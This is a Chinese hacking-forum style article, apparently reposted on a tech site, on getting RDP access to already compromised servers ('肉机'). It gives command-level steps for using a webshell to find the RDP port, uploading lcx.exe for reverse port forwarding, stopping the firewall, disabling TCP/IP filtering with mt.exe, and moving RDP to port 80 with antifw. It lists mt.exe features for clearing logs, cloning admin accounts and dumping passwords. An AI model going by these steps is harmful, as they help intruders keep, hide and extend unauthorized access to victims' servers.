3389远程连接不上有什么原因?对应的解决方法是什么?
对于开了3389,连接不上,有几个方面的原因,我来总结下,哇咔咔,这几天提好几台服务器都TM这样,分析下,
原因1、远程桌面端口被更改。2、对方服务器处于内网。3、防火墙拦截。4、TCP/IP安全限制。
好了,知道原因了,我们来一个一个思考解决方法(部分引用):
远程桌面端口被更改解决方法:
现在一般的asp大马都有探测服务器的功能,在权限还行的情况下都可以直接查看远程(Terminal Service)端口,或者可以查看注册表也可以得到远程桌面端口,asp权限不行,在支持aspx的时候就换aspx查看注册表。
对方服务器处于内网解决方法:
这种情况我们可以使用lcx做端口转发,不知道的或者没有的就百度“lcx.exe下载”,我就不提供下载了。
使用方法:
1.上传lcx.exe到目标服务器可执行目录
2.本地主机启动lcx.exe监听,命令:
lcx.exe -listen 1988 4567 // 监听1988端口并转发到4567端口
在目标主机运行:
格式为:
lcx.exe -slave 你的IP 你监听的端口 肉机IP 要转发的目标主机端口
例子:lcx.exe -slave 192.168.86.1 1988 192.168.86.3 3389
3.本地链接:127.0.0.1:1988
OK,有点小麻烦,不过还是很管用的,要是你也是内网,你就做下端口映射就好了,映射到转发回来的端口,哇咔咔。
4、防火墙拦截解决办法:
一般还是先试试端口转发,还是利用LCX,
使用方法:
lcx.exe -slave 你的IP 你监听的端口 肉机 要转发的目标主机端口
例子:lcx.exe -slave 192.168.86.1 1988 192.168.86.3 3389
然后本地连接:127.0.0.1:1988 就搞定了。
如果还不行。。要是web是SYSTEM权限,直接停掉防火墙服务就没问题了。
5、TCP/IP安全策略限制。
这个解决方法就有点多了,可以使用MT.EXE来关闭策略,
使用方法:
1.上传mt.exe到目标服务器可执行目录
2.执行命令:mt.exe -filter off
这样就关闭了TCP/IP限制了
选项:
-filter —更改TCP/IP 过滤器的开头状态
-addport —添加端口到过滤器的允许列表
-setport —设置端口作为过滤器的允许列表
-nicinfo —列出TCP/IP 界面信息
-pslist —列出活动进程
-pskill —杀毒指定进程
-dlllist —列出指定进程的DLL
-sysinfo —列出系统信息
-shutdown —关闭系统
-reboot —重启系统
-poweroff —关闭电源
-logoff —注销当前用户会话
-chkts —检查终端服务信息
-setupts —安装终端服务
-remts —卸载终端服务
-chgtsp —重置终端服务端口
-clog —清除系统日志
-enumsrv —列出所有服务
-querysrv —列出指定服务的详细信息
-instsrv —安装一个服务
-cfgsrv —更改服务配置
-remsrv —卸载指定服务
-startsrv —启动指定服务
-stopsrv —停止指定服务
-netget —从http/ftp 下载
-redirect —端口重定向
-chkuser —列出所有账户、sid 和anti 克隆
-clone —克隆admin 到目标
-never —设置账户看上去从未登录
-killuser —删除账户,甚至是 “guest” 也可删除
-su —以Local_System 权限运行进程
-findpass —显示所有已登录用户的口令
-netstat —列出TCP 连接
-killtcp —杀死TCP 连接
-psport —映射端口到进程
-touch —设置文件日期和时间到指定值
-secdel —安全擦除文件或目录占用的空间
-regshell —进入一个控制台注册表编辑器
-chkdll —检测gina dll 后门
上面只是一种方法,再说一种好用的方法吧,成功率灰常高,哇咔咔。
使用antifw.exe这个工具,
使用方法:
在cmd下输入
antifw -s 运行程序 停止iis将3389改为80
antifw -l 关闭程序。恢复iis
连接的时候直接连接他的80端口就OK了,内网外网通杀!成功率比较高。但是这样他网站就访问不了。。。
没事,上去了我们赶紧分析原因,排除万难,把限制去掉,再给他还原80端口,哇咔咔。。。
By:Seay
mcafee企业版阻止入侵者创建删除用户和修改密码?
利用McAfee策略让入侵者无法创建用户+无法删除用户+无法改密码的设置方法,强烈建议win2003使用mcafee杀毒软件,其它的都不如这个好。让入侵者无法创建用户+无法删除用户+无法改密码1、打开控制台-访问保护-用户
详情2018-01-20 14:46:49责编:llp 来源:驱动管家挖掘鸡配置 挖掘鸡入侵传奇sf图解
图一 选择扫描的URL连接,点了了URL,能下载说明存在数据库,不能下载说明不存在数据库。如图2,说明
详情2018-01-25 10:55:55责编:llp 来源:驱动管家注入过程的细节:一些特殊符号讲解
上期我写的基本都是在入侵内网过程中要注意到的细节,不过现在流行的毕竟是注入了。现在常规注入针对的也就是asp、php、jsp、cfm、 cgi等的动态脚本。针对各种脚本的话,如果注意一些细节,像构造特殊字符,也会
详情2018-03-05 11:29:49责编:llp 来源:驱动管家分析googl被黑,趋势科技页面插入js挂马等攻击报告
一 首先在网上找到了这次攻击的新闻报道http: www nsfocus net news 6697http: hi baidu com secway blog item e80d8efa4bf73ddab48f31a3 html通过GOOGLE搜索到了相关被黑的页面http: www google cn search?
详情2018-02-14 14:42:24责编:llp 来源:驱动管家了解黑客攻击网络的手段 黑客常采取的攻击手法有哪些?
为了帮助企业了解和掌握如何加强Linux系统在安全方面的管理,除了把预防工作提前做好外,还需要了解黑客常用手法。下面,分别从黑客对Linux的入侵攻击和Linux系统的安全防护两个方面来介绍如何加强Linux系统在安
详情2018-02-17 17:16:08责编:llp 来源:驱动管家带宽测试 测试带宽速度的步骤
近日,工业和信息化部召开宽带普及提速工程动员部署大会,在会上宣布正式启动实施“宽带普及提速工程”,至此,我国备受关注和带宽提速开始了。众所周知,在互联网无孔不入的信息时代,最让人郁闷的莫过于不给力
详情2018-01-28 11:02:36责编:llp 来源:驱动管家中小型网站可以怎么拒绝服务攻击?从哪几个方面防备?
DoS(Denial of Service)是一种使用合理的效劳恳求占用过多的效劳资源,从而使合法用户无法得到效劳呼应的网络进犯行为。被DoS进犯时的表象大致有:* 被进犯主机上有很多等候的TCP衔接; * 被进犯主机的体系资
详情2018-02-01 09:35:26责编:llp 来源:驱动管家破解rar密码有什么方法?可以使用rar password cracker软件破解rar密码
当一个非常重要的RAR文件因为忘记密码无法解压缩时,你是不是就这样抛弃它了呢?当然不是,你可以使用RAR Password Cracker这个软将加密的RAR文件破解出来。安装后运行程序里的RAR Password Cracker Wizard
详情2018-01-14 14:03:37责编:llp 来源:驱动管家什么是https?使用非对称加密是完全安全的吗?
每当我们讨论到信息安全的时候,我们最长接触到的信息加密传输的方式莫过于HTTPS了,当我们浏览器地址栏闪现出绿色时,就代表着这个网站支持HTTPS的加密信息传输方式,并且你与它的连接确实被加密了。但是HTTPS并
详情2018-01-14 11:16:22责编:llp 来源:驱动管家什么是加密?加密与数字签名有何区别?
什么是加密?用非常基本的词汇说,加密是一种以密码方式发送信息的方法。只有拥有正确密钥的人才能解开这个信息的密码。对于其他人来说,这个信息看起来就像是一系列随机的字母、数字和符号。如果你要发送不应该让
详情2018-01-22 14:56:19责编:llp 来源:驱动管家
- win7系统显卡驱动损坏了的修复方法
- 注册表怎么修改ie浏览器的默认主页
- 凯立德地图包怎么安装使用?安装凯立德地图包的方法介绍
- 电源不知道的事 PC电源应如何去挑选
- GTX1060与RX480哪个好?GTX1060和RX480对比比较
- OPPO公布R15“刘海”功能 提供沉浸式的横屏体验
- 比亚迪发布全新一代的唐SUV 加入燃油版车型
- 电脑因为网络配置出错上不了网的情况怎么处理
- u盘不小心进水了还能用吗?u盘进水正确的处理方法是什么
- 诺基亚8参数 诺基亚8真机图赏
- 黑莓z30真机图片欣赏 黑莓z30好看吗?
- cpu温度高怎么办?解决cpu温度过高的办法
- SSD怎么选?怎么看固态硬盘好坏
- SYN Flood原理是什么?如何诊断和应对SYN Flood?
- 惊险的入侵之旅 利用注射点代码入侵土耳其网站
- 怎样在Win10系统安装DOLBY音效驱动
- 狸窝全能视频转换器制作视频之后怎么加片头
- ae进行渲染生成视频文件的具体方法介绍
- 由于显示器设置过高或者过低导致的电脑黑屏怎么处理
- 电竞显示器144Hz和垂直同步知识扫盲 小心假电竞显示器